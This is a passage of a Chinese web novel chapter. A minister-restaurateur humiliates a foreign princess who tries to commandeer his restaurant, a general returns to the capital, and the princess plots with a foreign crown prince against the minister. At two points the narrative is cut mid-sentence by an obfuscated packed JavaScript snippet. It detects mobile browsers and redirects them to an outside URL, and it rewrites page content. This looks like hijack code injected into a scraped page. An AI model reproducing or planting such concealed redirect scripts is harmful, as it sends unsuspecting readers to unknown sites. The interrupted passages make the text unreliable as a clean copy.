念月被玄崇那似乎一眼就能看穿自己的目光盯得有些不自在,最终只能硬着头皮点了点头。 “那朕若拿念月公主来血祭我大启镇国大将军和万千将士的冤魂,如何?” 玄崇此话一出,不止整个南越使团面色变了,就连大启这边的官员都倒抽一口凉气,虽然在场不少人也想血祭了念月,但那样大启和南越,就结成了死仇,再无解开的可能了。 玄容刚想再次开口,就听玄崇道:“皇兄,你的病还未好,不宜说话过多,以免病情加重,这种小事,朕自行处理即可。” 玄容被玄崇的话一噎,到底没敢在继续开口。 “两国交战,胜败乃兵家常事,陛下莫不是输不起,如今便要拿本公主一个弱女子来泄愤。” “胜败确实是兵家常事,但南越边境那千千万万大启的将士和百姓的冤魂,却都是因你们南越的贪欲,而挑起的战争造成的,这就不是正常的事了。还有你说的没错,朕确实输不起,在朕的心中,每一个大启将士或是百姓的命,都与朕连在一起,谁若是因为自己的贪欲而害死他们,那就是在害朕,那朕与我大启臣民,也必然要让害他们的人付出相同的代价。所以朕再问你最后一次,你还打算把自己献给大启吗?” “既然陛下都把话说到这种地步了,这大启,显然是容不下本公主了,那本公主也没有留下枉送性命的道理,但大启拒绝了南越这么大的诚意,那这议和之事,也没有再谈到必要了,本公主只希望,陛下不会因为今日的鲁莽和冲动而后悔!” 念月说罢,又恢复了之前的嚣张跋扈,拂袖而去,南越使团见状,也都尾随而去。 “陛下,南越长公主既然如此招摇的过来,应该就是还有后手,说不定人家也配制出了火药也不一定,说不定还比大启配制出来的火药更加厉害,如今惹怒了南越长公主,要是战乱再起,恐怕后患无穷。” 一直没说话的魏相,在念月带人走后,语气里充满了埋怨。 玄崇倒是没有在意他态度,只是淡淡的问:“那不知以魏相的意思,该如何处理?” “老臣看念月公主和王爷聊的不错,不如就让他去缓和一下,至少也要把这议和的事给谈成了,至于其他,再从长计议。 玄崇闻言点了点头:“刚才确实是朕一时冲动了,看到南越人过来,朕就忍不住想要将他们都砍了,就是不知皇兄还愿不愿意帮朕去收拾这个残局。” 玄崇说完这话,看向了玄容的方向。 “陛下和我是亲兄弟,打断骨头连着筋,我知道陛下从小脾气就急,所以刚才才会一再阻拦,只可惜没能拦住,如今事以至此,我就再去试试看吧,要是不成,还请陛下不要怪为兄办事不力。” “自然不会,那就有劳皇兄了。” 谢彦全程没插上话,完全就是在看几人表演。 如今戏看完了,他也该去忙自己的事了。 只是当天晚上,贤王府的一支亲兵突然出现在了万贺楼的大门口,将其围的水泄不通。 “闲杂人等,请速速离开,接下来的一个月,万贺楼我们南越长公主包了!” 念月身边的一个蓝衣侍女,站在万贺楼大厅中间,语气极其嚣张的道,那神态和她主子还真有几分像。 在场的人闻言却没有一个动,今天来的要是大启的王公贵族,说要包下万贺楼,说不定他们还真的会立刻离开,毕竟胳膊拧不过大腿。 但南越一个战败国,嘴上说是来求和的,但从踏进京城就开始不安分,如今更是放着驿馆不住,偏要出来包客栈住,还是包如今已经名副其实成为京城第一楼的万贺楼。 甚至有人压不住火道:“你知道万贺楼一个月的进账是多少吗,你们又带了多少银子过来,就敢夸下这么大的海口,要包下万贺楼一个月!” “就是,万掌柜,你可不要随随便便就答应他们,要是他们真想包,就让他们把银子先拿出来,不然到时要是赖帐,你难道还能跑到南越去要债!” 万福对众人施了一礼后才道:“各位放心,我家主人早就说过,万贺楼开门做生意,广迎八方来客,不论身份地位,只要进了万贺楼,万贺楼都会一视同仁。” 万福说完又对念月身边的蓝衣侍女道:“既然这位姑娘的主子要住万贺楼,自然也可以,不过还请和其他客人一样,遵循万贺楼的规矩办理入住即可,另外还请把围在大门口的人撤掉,不然要是惊吓了我们万贺楼的各位贵客,这个损失姑娘怕是赔不起。”. “大胆,我家公主何等尊贵,岂能和一群平民百姓住在一起!” 万福道:“既然如此,那就请姑娘另换一家,我们万贺楼实在住不下姑娘主子这尊大佛。” 在场的客人闻言,拍手大叫道:“万掌柜说得好,你们这一来就把人家的大门给堵上了,还让人家怎么做生意!” 蓝衣侍女被气得柳眉倒竖,手指向门外道:“不要不识抬举,你们可以出去看清楚一些,围在门口的那些人,可是你们大启贤王的亲兵,即便你们万贺楼目中无人,不把我们南越放在眼里,难道也不把你们大启的王爷放在眼里吗!” 大家闻言,还真有人跑出去仔细瞧了瞧,没想到那些人还真是穿着他们大启的军服,一时之间有些接受不能,可能怎么也没想到,一向贤德节俭的贤王,会把自己的亲兵借给南越的公主,在大启的国土上作威作福。 万福眉头也不觉微微皱起,刚想开口,就见谢彦从外面走了进来,谢彦进门后,万福赶紧上前,把事情大概跟他说了一遍。 谢彦点了点头,随后让万福去给他拿了算盘过来,他在算盘上扒拉了一阵,才看向那个蓝衣侍女: “看在贤王的面子上,若是你们南越长公主真想包下万贺楼,倒也不是不行。” 谢彦的话一出口,那个蓝衣侍女就如一只斗胜的公鸡一样昂着头,有些轻蔑的看向在场的人。 不过在场的人却没有理睬她,毕竟在场的人对谢彦的性格都有些了解,知道他不可能因为权贵的压迫,就这么轻易违背自己定下的规矩,果然,很快就听谢彦又道: “不过贤王的贤名在外,从来不拿百姓一针一线,自然也不会仗着权势来占我们万贺楼的便宜,所以为了不让贤王的名声受损,即便你们公主和贤王的关系亲密,亲密到他都肯把自己的亲兵借给你们公主用,该算的账也还是要提前算清楚。” 谢彦说到这里,指了指在场的客人,以及二楼三楼雅间的客人,还有那些在园中住着的客人,随后继续道: “若是南越公主出得起价钱,本官愿意同万贺楼里的所有客人协商一下,请他们暂时住到别处去,不过因此给他们带来的不便和精神损失,需要你们公主来赔。另外就是既然你们公主要包下万贺楼一个月,我们所有生意必然都不能再做了,因此这一个月的流水,外加因你们公主让万贺楼信誉受损,这些损失都要你们来出,要是你们公主同意,那我现在就可以去找客人们协商。” 谢彦的话一出口,原本坐在角落里一直喝着茶水,却迟迟没点菜的一个小姑娘眼睛明显一亮,连忙把就近的一个小二哥叫了过去,接着就点了一大桌子万贺楼的招牌菜。 而那个蓝衣侍女想都不想的道:“可以,你去把人都请走吧!” 谢彦却道:“这笔银子数额太大,本官觉得这个主你恐怕做不了,你还是把你们公主请过来自己和本官谈!” “这件事既然公主交予我来办,我自然就做得了主,谢大人不妨直说吧,到底需要多少银子?” 谢彦闻言竖起两根手指。 蓝衣侍女闻言嘲讽道:“区区两千两,谢大人就说的如此严重,看来被人传得神乎其神的谢大人,见识也不过如此!” “你恐怕误会了,本官说的是二十万两!” 蓝衣侍女闻言面色一白,随即怒视谢彦道:“谢大人开的这个万贺楼是黑店吗,二十万两,还不如去抢!” “果然是弹丸之地出来的货色,就是眼皮子浅,没能力还要在大启装大头学人家包店,以谢大人的财力,需要去抢吗,他随便拆块万贺楼窗户上的琉璃下来卖,恐怕也够你们公主吃一年的了,他有必要去抢你们那三瓜两枣的!” 在场的人不但没有因为谢彦狮子大开口而震惊,反倒觉得他要的还是少了,忍不住嘲讽那个嚣张的不行的蓝衣侍女。 此时角落里的那个小姑娘,一边夹着一道刚上来的凉菜,一边附和说话的人:“就是,没钱就别在这学人充大头,这是大启,不是你们南越,不是你们能撒野的地方!” 说完她把凉菜丢进嘴里,嚼的咔嘣响。 小姑娘的声音如银铃一般,引得不少人侧目看向她的方向,就看见了一个脸小小的,嘴巴鼻子都很小巧,眼睛却大大的,十分有灵气的漂亮小姑娘。 小姑娘最多也就十六七岁的样子,虽然她身上的衣服有些破旧,又太宽松显得很不合身,和她点的那一大桌子奢侈的菜品完全不匹配,但因为她的这番话,硬是没有人觉得有什么不妥之处,甚至有不少人夸小姑娘说的好。 小姑娘也十分豪气的冲夸她的人摆摆手,表示这没什么,就在这时,从门口处传来一个极度嚣张的声音: “谁说本公主没有的,不就二十万两吗,这有何难,也值当谢大人在这和一个小小的婢女上纲上线,也不怕有失身份!” 不知几时,念月公主从外面走了进来,她的话说的轻飘飘的,看谢彦的眼神,就如在看一个上不得台面的东西一般。 谢彦:“果然还是念月公主豪气,既然如此,那就请你先把这二十万两预付了吧,毕竟本官还要去先把各位客人的损失先给赔了。” 角落里的那个小姑娘正吃得满嘴流油,闻言再次开口道,“谢大人说的没错,既然南越长公主如此大方,不如就先把银子付给谢大人吧,总不好叫人家白忙活一场,最后还得大老远跑去南越要账。” 念月公主闻言扫了那个小姑娘一眼,面色有些不好看,不过因为蒙着面纱,所以也并没有人看见,只听她不甚在意的道: “没听说过这店还没住,就要先付账的道理,难道谢大人是怕本公主赖帐不成?” 谢彦点了点头,直白道:“没错,所以你这银子要是不打算提前付,就请马上离开,不要在这影响我们万贺楼客人的食欲” “哈哈哈!”那个小姑娘听了谢彦的最后那句没忍住笑出了声。 在场的人也没忍住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177829|130138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了起来,了解谢彦的人都觉得,这个南越长公主简直就是在自取其辱,招惹谁不好,偏偏要来招惹他们嘴巴带毒还不畏强权的谢大人。 “你” “你什么你,你不会真被谢大人猜中,真打算赖账吧?” “这里有你什么事,饭都堵不住你的嘴!” 念月终于再也压不住火,冲着那个总爱在关键时刻来一句的小姑娘吼道。 谢彦闻言道:“万贺楼的客人想什么时候说话都可以,还无需征得念月公主的同意,你要是拿不出银子,就慢走不送!” 就在这时,从门外进来一个头戴纱笠身着白衣的男子:“本王作保也不行吗?” 本来众人都在兴致勃勃看着这个跑来大启充大头的南越长公主要如何收场,没想到就在她快被谢大人赶走的时候,他们大启人的偶像贤王却突然来了,还说要替南越长公主作保。 玄容此举,让在场的人心里多少有些疑惑和不舒服,但大家还是都跪下行礼,唯有那个角落里的小姑娘没动,继续吃她的饭,不过此时也没什么人注意她。 谢彦看了看玄容头上的纱笠,淡淡一笑:“王爷作保自然可以,不过王爷向来勤俭,不喜浪费,下官不想王爷因为别国一个不相干的人,而坏了自己的名声。即便王爷想为博红颜一笑,不在意自己的名声,但说到底王爷和南越长公主非亲非故的,要是她走的时候真拿不出这笔银子,下官自然也没理由去找王爷讨这笔银子,所以不是下官信不过王爷的人品,而是信不过一向喜欢出尔反尔的南越人。” 在场有一些玄容的铁粉闻言,也壮着胆子道:“谢大人说的没错,王爷,您谪仙一样的人物,还是不要来趟南越这趟浑水了,您素来节俭,听闻您省下的银子也都拿去接济穷困百姓了,要是南越长公主到时真不付这笔银子,您哪里有银子替她还,不仅如此,到时怕是还会影响到您的名声,实在得不偿失。” 玄容闻言不但没有生气,还温声解释道:“嗯,你说的本王也不是没想过,不过我大启泱泱大国,总不能因为这些黄白俗物,就怠慢了来我大启议和的使臣,要是这事被有心人传出去,被其他国知道,实在有损我大启国威。” 在场的人闻言,一时竟无法反驳。 这时就听谢彦道:“王爷多虑了,大启有专门接待各国使臣的驿馆,可以让每一位来大启的使臣,都受到最妥善的安排。如果南越长公主要是不愿住大启为他们准备的驿馆,而是要按自己的喜好选择别的住处,这已经不属于大启负责的范畴,自然由他们自己付账。因此即便此事将来传出去,也不会有人觉得是我大启有失待客之道,只会觉得是南越长公主是想趁机占大启的便宜,所以本官坚持要她提前付账,也是为了她的名声考虑,不然到时候便宜没占成,又没钱付账,这要是传出去,那丢人可就丢大发了。” “还是谢大人考虑的周到,也难怪短短时间内,就能把生意做得这般大,既然如此,本王这个不通俗务的闲散王爷,就不操这个心了。不过要是将来南越和大启之间再出现什么解不开的死结,想来以谢大人的能力,一定也能化解!” 玄容说完环视了周围一圈,不知是在看人,还是在看别的,随后又朝念月拱了拱手,便转身而去。 贤王走后,原本堵在门口的那些贤王府亲兵,也都跟着走了。 念月见状,面纱下的脸早已气到扭曲,本来她还打算通过贤王,逼着谢彦让她住进来,只要让她住进来,她就有办法把万贺楼搞垮。 最主要还能把这些美轮美奂的琉璃神不知鬼不觉的带走,但没想到贤王太过顾及自己的名声,三言两语就被谢彦给挤兑走了,这下她是走也不是,不走也不是。 要她拿出二十万两,她不是拿不起,只是这次来大启,她根本就没带那么多的银子,即便她带够了银子,也绝不可能花在别国的地盘上,更不会花在大启的地盘上。 所以她才打算通过贤王来白嫖,谁知最后竟然没能如愿,但要她现在就离开,又觉得不甘心,最终她决定暂时先退一步。 “刚才王爷的话提醒了本公主,确实不该太过铺张浪费,所以本公主决定,就先在万贺楼定一间客房。” 谁料谢彦在她想对策的时候,已经跑去柜上那边写了一张大字过来,他听了念月的话后道: “你说的太晚了,这是本官新定的店规!” 他说着把一张写着南越人与蚊蝇不得入内的大字,大刺刺的展现在了念月的面前,随后做了一个送客的手势。 在场的人在看到那张大字时,不觉有些疑惑的问:“谢大人,一般不允许谁进一处地方,不都是写着某某与狗不准入内的吗,您这怎么写的是南越人与蚊蝇不能入内?” 谢彦耐心解释道:“小狗多可爱,而且还对主人忠心耿耿,有些人也未必赶得上它们,所以自然不能拿它们来和某些人相提并论,倒是这一无是处只会害人的蚊蝇,和某些人是绝配。” 经过谢彦的提醒,在场的人觉得还真是如此,不由夸谢彦写的贴切。 “谢彦,你不要欺人太甚!” “这店是本官开的,本官想让谁住就让谁住,你一个居心不良的南越人还无权过问!” “好,好得很,本公主一定会让你们夫妻俩后悔的!” 念月拂袖离开之前,目光阴沉的看了谢彦一眼。 谢彦看着念月离开的背影,眸底也同样闪过危险之色。 “真是痛快,小二,再来二两西风烈!” 有个客人在看到那张南越人与蚊蝇不得入内的大字后,给谢彦竖了竖大拇指,哈哈大笑道。 “好咧!”小二哥响亮的应了一声,随即拿起酒壶,又去给那位客人打了二两西风烈。 之后彼此起伏的传来加酒加菜的声音,大家一边吃饭,一边把念月刚才的举动当成了笑料来说。 “这位客人,小店概不赊账,还请您把账给结了。” 就在大家吃的热闹的时候,突然从角落里传来小二哥平静又礼貌的声音。 众人循声问去,见竟然是刚才替谢彦说话的那个小姑娘没银子付饭钱。 本来有人看小姑娘还挺顺眼的,打算替她把饭钱给结了,但一听小二哥说,那个瘦瘦小小的小姑娘,一顿饭竟然吃了将近一百两,立刻就张不开这个嘴了。 众人看了看小姑娘那张桌子上已经被清干净的一桌子空盘子,心说这也太能吃了,而且看那价格,应该还是点的万贺楼最贵的菜,不然也不会一顿就吃了那么多的银子。” 小姑娘见众人都神色复杂的看向自己,有些不好意思的笑道:“万贺楼的菜太好吃了,所以没忍住就多吃了一点。” 众人闻言,心说你那哪是一点,那分明都够五六个人吃的了,就在这时就听小姑娘又道: “大家放心,我谢慕月虽然确实没钱,但也绝对不会像刚才那个南越长公主那般厚颜无耻,我可以在万贺楼帮工来抵我这顿饭钱。” 不远处的谢彦在听了小姑娘的名字后,不由看了她一眼,随即道:“不必了,刚才谢姑娘仗义执言,谢某甚是感激,这顿饭就当是万贺楼请谢姑娘吃的。” 谁料谢慕月却道:“我谢慕月从来没有吃白食的习惯,这欠债还钱,天经地义,怎么能白吃谢大人的饭。” 谢彦闻言笑笑:“既然如此,那就等谢姑娘日后手头宽裕了再来还,在本店帮工抵债就不必了。” 就在大家觉得谢彦大气的时候,就听他又道:“毕竟本店的小二哥都是经过专业培训和考核后,才能来万贺楼服务各位客人的,谢姑娘要想在本店帮工,能力恐怕不够。” 得,谢大人果然还是一如既往的嘴巴带毒,不过看万贺楼的这些小二哥,确实和其他酒楼的小二哥不同,礼貌周全情绪稳定,不管对什么人都一视同仁,不会看人下菜碟,让走进万贺楼的人,不会感到一丝丝怠慢和不自在,这确实不是一般人能做到的,因此有人劝道: “既然谢大人请了谢姑娘这顿,谢姑娘受了便是,这万贺楼的小二哥,确实不是谁都能当的。” 谢慕月闻言,可能也意识到谢彦和大家说的都是实话,并没有什么恶意,因此她也没再坚持,朝谢彦和在场各位拱了拱手,随后拿起放在桌子上的一把用布裹着的弓箭,离开了万贺楼。 33. 阿月,我再陪你演最后一次 次日,南越长公主没银子还想包下万贺楼的事,便传遍了京城,这个消息让大启百姓对南越那位长公主更加没好感了。 甚至有不少人大老远跑到万贺楼来吃饭,就是为了顺带看一眼万贺楼门口新帖的那张南越人与蚊蝇不得入内的大字。 一时之间,万贺楼的生意也被带动的更加火爆。 而斜对面的云上楼,虽然自从万贺楼开起来后,生意就受了很大的影响,但依旧有不少人愿意送上门去当冤大头。 但那些怀着目的甘愿去云上楼当冤大头的人,现在也是除非必要才去云上楼,平时光顾最多的酒楼却是万贺楼。 更有那些当初被谢彦和玄崇坑了不少银子的达官显贵,一边对谢彦怀恨在心,一边又时常让下人去万贺楼订一桌菜拿回去吃。 这送上门的银子,谢彦自然不会拒之门外。 念月自那日离开万贺楼后,也没有回驿馆,而是直接住进了斜对面的云上楼。 因为念月想包万贺楼却不想付银子这件事,传的沸沸扬扬,为此魏相的人还参了谢彦一本,说他不顾大局,眼中只有私利,如今得罪了南越长公主,将来若是南越再挑起战争,必须由谢彦来承担这个责任。 玄崇却当着百官的面道:“朕倒觉得谢爱卿这次做得好,大启和南越的仇本就无解,南越使团这次来大启,更是半点诚意全无,既然如此,还需要和他们讲什么道理。另外南越若要真想再次挑起战争,即便把他们供起来也无用,既然如此,大启为何还要对一个战败国委曲求全!” 在场的大部分官员无疑都赞同玄崇说的,在像单明远和韩泰这些是非分明的官员看来,南越那些连畜生都不如的东西,你越把他们当回事,他们就会越往你的头上爬。如今他们都被沈将军带着大启将士打败了,都还不肯消停,这样的人,谢大人有什么必要惯着他们。 而且上次念月在西川时,就给西川皇宫和西川驿馆招了一批毒蛇,这次她费那么大劲想住进万贺楼,谁知她怀了什么心思。 万贺楼可是酒楼,但凡念月在里面动些手脚,简直防不胜防,谢大人除非脑子坏了,才会让这种人住进去。 不过单明远他们觉得参谢彦的那些人居心更加叵测,即便他们内部再怎么不合,也不该因为南越的事来参谢彦,除非是谢彦动了某些人的利益。 不知为何,单明远等人突然想到了和万贺楼有着竞争关系的云上楼。 虽然云上楼的幕后东家一直是个谜,但以云上楼的那些逆天操作来看,有那么大势力的,京城也就那么几位,真不算难猜。 原本以那几位的势力,想要搞跨谢彦,倒也不是什么难事,只可惜现在谢彦已经和沈金戈破镜重圆了,也相当于间接和皇上捆到了一起。 再加上谢彦自身如今在大启百姓心中的地位,那些人想要再搞跨他,已经没那么容易了,除非他们能有本事将沈金戈和皇上也一起搞垮。 最终谢彦被参这件事,被玄崇当场就驳回了。 正月十四那日,京城依旧下着漫天大雪,但街道上却比过节还热闹,街上各家店铺的伙计,把准备明日元宵节才挂上的彩色灯笼,都提前挂了出来。 街道两旁站满了手里拿着各种吃食和礼物的百姓,他们之所以冒着大雪站在这里,是在等拯救了大启的英雄回家。 上一次沈金戈带着部下回京时,因为提前了好几日,不止玄崇没有准备,就连京城百姓都毫无准备。 再加上沈金戈在大街上把谢彦给绑了回去,这直接把百姓们的注意力给岔开了,大家都在想着他们夫妻俩是否能破镜重圆,却忘了用最热烈的方式迎接拯救了大启的英雄凯旋而归了。 所以这一次,在得到沈金戈要从北狄边境回来的具体日子后,京城百姓自然不会再错过这个机会,所以大家和谢彦一样,早早就在做准备了。 至于谢彦在准备什么,他除了在万贺楼备下了数桌给回京将士们接风洗尘的宴席,还有等着被人再次踹了的心理建树。 虽然谢彦一直觉得,他和沈金戈之间,绝对没可能真的破镜重圆,但他也不得不承认,其实沈金戈的外貌,完完全全长在他的审美上的,沈金戈是他穿到这个陌生时代见到的第一个人,也是让他两世以来只一眼就被惊艳的人。 撇开外貌,沈金戈那种舍身忘己,心怀天下的胸襟,以及那惊世的军事才华和杀伐果决,也是让谢彦由衷敬佩和仰慕的地方。 这可能也是为什么每次沈金戈或是玄崇说,等她一从北狄回来就会和他解除约定,而让谢彦生气的真正原因。 ―― 这次沈金戈回京,没有提前也没有推后,带着一队人马准时抵达了京城。 谢彦站在城门口,和马上的沈金戈遥遥相望,沈金戈身着银色铠甲,外面还着一件黑色兽皮制成的大氅,坐下是一匹健壮高大毛色黑亮的黑马。 这次沈金戈回京,没有灰头土脸,铠甲上也不再锈迹斑斑,她身上那身银色铠甲谢彦认得,还是他上次在沈金戈离开京城前,给她准备的。 谢彦当时的想法是,绝对不能让他们的大启第一女战神,一直穿着一身锈迹斑斑的盔甲示人,那样太有损她和大启的威严了。 不过他怕沈金戈会多想,所以并没有当面给她,只是将其装在了自己给她准备的那些东西一起。 本来谢彦以为沈金戈不会穿,没想到她竟然穿着它回京了,这让谢彦的心情明显好了不少。 只是当他目光扫到与沈金戈并肩骑在马上,一个同样穿着一件黑色大氅的男人时,原本柔和的眉眼,不觉变得有些凌厉起来。 那个男的五官立体,高鼻鹰眼,身形魁梧,身上有着类似玄崇的上位者的威严,不过他那长相还披散着的发型,一看就不是大启人,谢彦猜他应该是北狄那位据说要和沈金戈一同来京的北狄太子。 谢彦不得不承认,这个男的,不是,这个北狄太子和玄崇算是同类型的人,都是天生自带光环的那种。 而沈金戈身上,明显也有着和他们相同的特质,所以当沈金戈和北狄太子并肩骑在同样是黑色的马上,还穿着同样的黑色大氅时,莫名觉得两人竟有那么一点点的般配。 此情此景,让谢彦心里不觉有些泛酸,他压下心里的酸气,朝沈金戈的方向拱了拱手道:“恭迎沈将军和众将士回京!” 之后他才对同样在马上坐着的北狄太子道:“欢迎太子殿下亲临我大启!” 坐在马上的北狄太子看着官服外披着白色裘衣,俊美的不似凡间男子的男子,原本舒展的眉头不由微微皱起,他也朝谢彦拱了拱手,算是回应。 而沈金戈不知又是要演那出,突然下马走到谢彦身边,一把抓起他的手摸了摸,随后声音有些不悦道: “这么大的雪,月之怎么穿得这般少,这一遭回去,怕是又要病了。” 沈金戈说罢,直接把身上的大氅解下,披到了谢彦身上。 原本就穿得有些多的谢彦,如今再加上这么重的一件大氅,实在累的够呛,不过他也没有甩开这有些沉重的负担,只是压低声对沈金戈道: “沈将军这是又要利用本官陪你演戏?” 沈金戈倒也坦荡,同样低声道:“嗯,有劳谢大人了,回去定当厚谢!” 谢彦点了点头,随即露出一个灿烂的笑容,手也改成反握住沈金戈的手,摸了一会后,才又把身上的那件黑色大氅拿下,又重新披回沈金戈的身上。 “天寒地冻,娘子若是冻病了,为夫一样会心疼的。” 北狄太子坐在马背上,看着相互关心又及其般配的两人,眉头不觉皱的更紧了。 沈金戈见戏演的差不多了,也不好叫其他人在这冰天雪地里陪她一起演戏,于是和谢彦各自上马,随后一行人便入了城。 “啊啊啊,是沈将军他们回来了,恭迎英雄平安回家!” 沈金戈他们才一进城,就有不少少年人扯着嗓子激动的大叫道。 随后就是各种感谢和赞美之词不绝于耳,很少笑的沈金戈,在这一刻,也不觉露出笑容。 战场上的残酷惨烈,伤痛死别,以及双亲和全家不明不白的死去或是消失所带来的痛苦和煎熬,在此刻得到了片刻的慰藉,她抬起手,和街道两边的人挥手致谢。 而跟在她身后的罗山他们,手都快挥出残影来了,还得不时被冲过来的热情百姓塞上一篮子东西。 罗山他们本来不愿收,还是沈金戈示意他们收下,不过也只是象征性的收了一些吃食,不然等他们走到宫门口,根本就拿不下那么多的东西。 谢彦带来的礼部同僚和北狄使团,这次倒是沾了沈金戈他们的光,又感受了一把百姓热情如火的欢迎仪式。 玄崇依旧带着铁蛋和百官,在宫门口迎接了沈金戈他们,而北狄使团,则在半道上,就被谢彦派人送去了驿馆。 本来玄崇是打算亲自带着铁蛋去城门口接沈金戈的,但他是皇上,即便是只到城门口,都不知要麻烦多少人,还有各种清场,而且今天京城百姓都想要迎接他们的英雄归来,因此玄崇就决定不去惊扰他们了,因此才带着铁蛋和百官在宫门口等。 “沈将军和各位将士一路辛劳,朕敬诸位一杯我大启的国酒西风烈。” 闻言的谢彦明显一愣,他竟不知,西风烈已经变成大启的国酒了,不觉看向玄崇。 玄崇却没看他,而是让人给沈金戈和她的部下,一人满上一杯西风烈。 本来罗山等人还心说,这么小一杯,哪里能喝得过瘾,直到一杯下肚,方知这西风烈,确实够烈,不由又惊又喜。 就连一向淡定的沈金戈,也有些惊讶的看向玄崇。 玄崇笑道:“此酒说来话长,沈将军和诸位先随朕入宫,朕再同你们慢慢说。” 玄崇说罢拍了拍沈金戈的肩,然后把铁蛋交到了她手里,让她随自己一同进宫。 现在有百官在,沈金戈怕玄崇因自己一家破例太多总被人诟病,因此抱起铁蛋后,脚步稍顿,慢了玄崇几步,跟在他身后进了宫。 就在玄崇接待沈金戈等人之时,京城的云上楼,二楼临街的那一面窗口位置,坐着一男一女,那个男的显然就是才刚到京城的北狄太子。 至于那个女子,则是一直住在云上楼的念月,两人此时的目光,都在看着斜对面万贺楼的方向。 “看来沈将军确实没有夸大其辞,短短几年时间,没想到大启就已经能人辈出,不仅配制出了火药,就连异常珍贵的琉璃,如今却被一个酒楼拿来随意装点门窗。” 念月莞尔一笑:“殿下不知,这还只是表面,万贺楼里面,那才真是真正让人大开眼界,仙宫也不过如此了。” 北狄太子闻言道:“哦,是吗,那本宫可得抽空去看看。” 念月在北狄太子面前,似乎并未打算掩饰自己的贪欲,只听她道:“看自然是要看的,就怕殿下看了后,就再也移不开眼了,就像我这般,虽然在这大启受尽冷遇,但也还是不想就这么离开。” 北狄太子似乎也并不觉她的话有什么不妥,他问念月:“那不知念月公主准备如何,是设计嫁给大启皇帝,还是继续让南越和大启打下去,用武力来夺下大启?” 念月闻言一改在别人面前的嚣张跋扈,很理智的道:“打?以如今大启的情况,再想打谈何容易。” “那公主是准备选择前者一劳永逸了?” 念月道:“殿下说的两个法子,我都不会用,但也不会就这么放弃,南越自有自己的法子。” 北狄太子闻言,不由看了对面蒙着面纱的念月一眼,只是眼神里却充满了戏谑之色:“那本宫就在此恭贺念月公主心想事成了。” “我知道殿下是在觉得我说大话,不过没关系,不知殿下可知当初沈傲是怎么死的,南越能杀得了沈傲,自然就有办法杀了沈金戈,只要沈金戈一死” 念月的话还没说完,就见北狄太子把原本拿在手里轻轻把玩的茶杯重重放到了桌子上,一改之前漫不经心的态度: “南越想做什么,北狄不关心,但沈将军你们动不得,不然” 虽然他的话没有说完,但他的态度已经说明一切。 念月面纱下的嘴唇微勾:“没想到殿下竟也是个情种,只可惜沈将军已经嫁人了,还有了那么大一个儿子,恐怕殿下一腔情意要错付了。” 北狄太子闻言,不觉想到了刚才在城门口看到的那一幕,脸彻底冷了下来,不过却没有理念月话里的夹枪带棒。 念月见他久久不回话,自顾自的道:“其实殿下和沈金戈之间,倒也不是全无可能。” 念月这话一出口,北狄太子总算是正眼看向了她。 念月倒也没卖关子,因为她清楚,面前这个男人看似脾气很好,实则性情暴躁,把他惹怒了,绝不会像其他人那样有耐心和她磨嘴皮子,他可能会直接拔刀杀了她,所以在他面前,念月连本公主都没敢自称,而是直接自称我。 这是唯一一个能让念月即惧怕又有好感的男人,要是之前没有谢彦在西川时的破坏,她在唬住西川王同意和南越合作后,就会按照原定计划去北狄,用同样的手段在北狄再使一遍,再趁机提出和北狄太子联姻的事。 只可惜最终这一切,都被谢彦和沈金戈破坏了,而且面前这男人,不但对她好感全无,甚至还喜欢上了已经嫁做人妇的沈金戈。 念月真不知那个沈金戈有什么好,除了那张脸还将就,武功高点,带兵打仗厉害一点,那脾气臭的简直如同茅坑里的石头,到底有什么值得这些男人一个两个都喜欢她。 既然如此,那她就充分利用好这一点,于是她继续对北狄太子道: “如若沈金戈的那个废物丈夫死了,殿下是不是就有机会了呢?不仅如此,若如沈金戈真嫁给了殿下,她就是北狄的人,再也不是大启的将军了,这相当于北狄不费一兵一卒,就清除了攻下大启路上的一块拦路石。” 北狄太子在听到念月说谢彦是废物的时候,目光不自觉的再次看向斜对面的万贺楼,随后他对念月道: “传闻果然不假,念月公主还真是足智多谋,本宫竟然没想到这些,只是不知你打算如何做?” “殿下别急,在我帮殿下达成心愿以前,殿下是不是也该拿出些诚意来。” “确实应该,那不知念月公主想要什么样的诚意? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221368|130138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 念月:“如若我帮殿下达成心愿,还请殿下说服北狄王,与我南越合作,打下大启这万里河山,北狄南越共享之!” 北狄太子的手在桌面上轻轻扣了两下,随后道:“好,本宫答应你。” 念月得到北狄太子的承诺后,用手指蘸着面前杯子里的茶水,在桌子上写了几个字。 北狄太子在看到那几个字后,笑的有些意味不明:“念月公主果然好手段,那本宫就恭候公主的佳音了。” ―― 为了配合沈金戈演戏,从宫里出来便跟着沈金戈回了将军府的谢彦,此时正坐在沈金戈对面看着她。 因为他要问清一些事情,不方便让铁蛋听,因此便让韩离把他先送回万贺楼了。 韩离本来还想和他多年未见的沈家姐姐多说几句话,但见谢彦表情不太对,只能先带着铁蛋走了。 铁蛋可能也想让自己爹娘好好说会话,因此乖乖跟着韩离回去了。 “不知沈将军,还需要我陪你演戏到何时,还有你说的重谢不知又是什么?” 谢彦看了沈金戈好半晌才道。 沈金戈似乎早就知道他会这么问,回道:“陪我演到北狄太子离开京城即可,条件随谢大人开。” 